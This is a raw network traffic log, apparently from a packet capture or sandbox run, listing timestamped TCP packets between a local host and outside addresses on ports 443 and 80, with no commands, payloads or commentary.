Dec 10, 2024 02:50:10.410269976 CET	443	49708	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.410839081 CET	49708	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.410846949 CET	443	49708	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.411358118 CET	49710	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.411420107 CET	443	49710	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.411539078 CET	49710	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.411561012 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.411892891 CET	443	49708	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.411974907 CET	49708	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.412019014 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.412040949 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.413081884 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.413170099 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.413218975 CET	49708	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.413290024 CET	443	49708	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.413609982 CET	49708	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.414024115 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.414089918 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.414141893 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.455333948 CET	443	49708	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.455344915 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.459331989 CET	443	49710	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.464116096 CET	49710	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.464127064 CET	443	49710	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.464158058 CET	49708	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.464159966 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.464164019 CET	443	49708	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.464180946 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.496102095 CET	443	49711	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.505732059 CET	49711	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.505744934 CET	443	49711	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.506808996 CET	443	49711	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.506908894 CET	49711	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.507539988 CET	49711	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.507605076 CET	443	49711	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.510993004 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.511018991 CET	49710	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.511490107 CET	49708	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.511846066 CET	49711	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.511853933 CET	443	49711	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.555257082 CET	49711	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.558512926 CET	49708	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.558594942 CET	443	49708	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.558733940 CET	443	49708	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:10.558800936 CET	49708	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.558800936 CET	49708	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:10.837889910 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:10.838001013 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:11.263478994 CET	443	49710	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.263541937 CET	443	49710	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.263600111 CET	49710	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.263619900 CET	443	49710	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.263844013 CET	443	49710	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.263905048 CET	49710	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.264928102 CET	49710	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.264940023 CET	443	49710	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.298626900 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.298831940 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.298866987 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.298882008 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.298902035 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.298942089 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.306885004 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.315258026 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.315303087 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.315320015 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.355637074 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.358242989 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.358378887 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.358428955 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.358438015 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.370816946 CET	443	49711	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.371026039 CET	443	49711	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.371079922 CET	49711	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.371861935 CET	49711	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.371875048 CET	443	49711	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.402475119 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.402487993 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.418943882 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.419024944 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.419038057 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.464351892 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.486977100 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.494419098 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.494501114 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.494513035 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.507209063 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.507288933 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.507304907 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.516798019 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.516876936 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.516889095 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.526456118 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.526576996 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.526592016 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.539210081 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.539263010 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.539283037 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.552092075 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.552175045 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.552186012 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.565943956 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.566035986 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.566051006 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.579453945 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.579518080 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.579528093 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.606197119 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.606229067 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.606326103 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.606334925 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.606403112 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.609395981 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.623835087 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.623908997 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.623919964 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.667474985 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.675529957 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.680941105 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.681011915 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.681020975 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.692125082 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.692167044 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.692173958 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.692182064 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.692219019 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.701977015 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.711944103 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.712024927 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.712032080 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.721788883 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.721846104 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.721853971 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.731795073 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.731868029 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.731878042 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.741595984 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.741677046 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.741683960 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.751594067 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.751660109 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.751667023 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.761576891 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.761657000 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.761668921 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.771452904 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.771501064 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.771508932 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.781358004 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.781439066 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.781450033 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.791268110 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.791343927 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.791352034 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.800071955 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.800158024 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.800165892 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.808882952 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.808962107 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.808975935 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.817749977 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.817838907 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.817847967 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.826432943 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.826507092 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.826514959 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.835277081 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.835330963 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.835351944 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.843369961 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.843420029 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.843427896 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.851659060 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.851696014 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.851725101 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.851737022 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.851779938 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.852988958 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.862459898 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.862515926 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.862534046 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.870197058 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.870290995 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.870301962 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.875767946 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.875821114 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.875832081 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.882062912 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.882112980 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.882121086 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.887989044 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.888036013 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.888045073 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.893800974 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.893942118 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.893950939 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.902668953 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.902744055 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.902754068 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.908510923 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.908577919 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.908588886 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.917922974 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.917995930 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.918004036 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.920720100 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.920774937 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.920783043 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.926820040 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.926870108 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.926877975 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.929761887 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.929835081 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.929846048 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.930121899 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:11.930166960 CET	443	49709	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:11.930218935 CET	49709	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:12.621762991 CET	49719	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:12.621804953 CET	443	49719	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:12.621895075 CET	49719	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:12.622144938 CET	49719	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:12.622162104 CET	443	49719	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:14.229656935 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:14.229899883 CET	49725	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:14.313090086 CET	443	49719	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:14.313406944 CET	49719	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:14.313431025 CET	443	49719	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:14.313755035 CET	443	49719	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:14.314074039 CET	49719	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:14.314136028 CET	443	49719	172.217.21.36	192.168.2.5
Dec 10, 2024 02:50:14.348834038 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:14.349150896 CET	80	49725	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:14.349309921 CET	49725	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:14.349432945 CET	49725	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:14.355519056 CET	49719	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:14.469134092 CET	80	49725	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:15.433629990 CET	49728	443	192.168.2.5	172.217.17.78
Dec 10, 2024 02:50:15.433649063 CET	443	49728	172.217.17.78	192.168.2.5
Dec 10, 2024 02:50:15.433852911 CET	49728	443	192.168.2.5	172.217.17.78
Dec 10, 2024 02:50:15.434092045 CET	49728	443	192.168.2.5	172.217.17.78
Dec 10, 2024 02:50:15.434098959 CET	443	49728	172.217.17.78	192.168.2.5
Dec 10, 2024 02:50:16.216921091 CET	80	49725	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:16.216984987 CET	49725	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:16.325437069 CET	49725	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:16.357300997 CET	49728	443	192.168.2.5	172.217.17.78
Dec 10, 2024 02:50:16.357350111 CET	49719	443	192.168.2.5	172.217.21.36
Dec 10, 2024 02:50:16.635946989 CET	49725	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:16.713509083 CET	80	49725	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:16.755172014 CET	80	49725	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:17.251812935 CET	80	49725	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:17.251935005 CET	49725	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:22.257014036 CET	80	49725	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:22.257076025 CET	49725	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:29.050097942 CET	49725	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:29.050873995 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:29.169321060 CET	80	49725	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:29.170125961 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:29.170208931 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:29.170383930 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:29.289556026 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:30.995321989 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:30.995373011 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:31.330813885 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:31.450311899 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.767780066 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.767894030 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.767909050 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.767986059 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:31.768022060 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:31.768302917 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.768313885 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.768325090 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.768337011 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.768352985 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:31.768378019 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:31.769062996 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.769074917 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.769085884 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.769109964 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:31.769119024 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:31.776120901 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.776567936 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:31.887167931 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.889404058 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:31.959666967 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.959747076 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:31.959794998 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.959903955 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:31.963701963 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.963752985 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:31.963821888 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.963865042 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:31.971919060 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.971977949 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:31.974925995 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.974972010 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:31.975034952 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.975075960 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:31.982990980 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.983052015 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:31.983076096 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.983113050 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:31.991152048 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.991214991 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:31.991231918 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.991278887 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:31.999288082 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.999351025 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:31.999397039 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:31.999438047 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:32.007466078 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:32.007528067 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:32.007559061 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:32.007591963 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:32.015683889 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:32.015754938 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:32.015794992 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:32.015938044 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:32.023739100 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:32.023791075 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:32.023827076 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:32.023865938 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:32.031882048 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:32.031934977 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:32.031972885 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:32.032016993 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:32.040034056 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:32.040079117 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:32.040162086 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:32.040209055 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:32.151693106 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:32.151802063 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:32.151856899 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:32.154084921 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:32.154148102 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:32.154170990 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:32.154205084 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:32.157778978 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:32.157840967 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:32.157915115 CET	80	49763	185.215.113.206	192.168.2.5
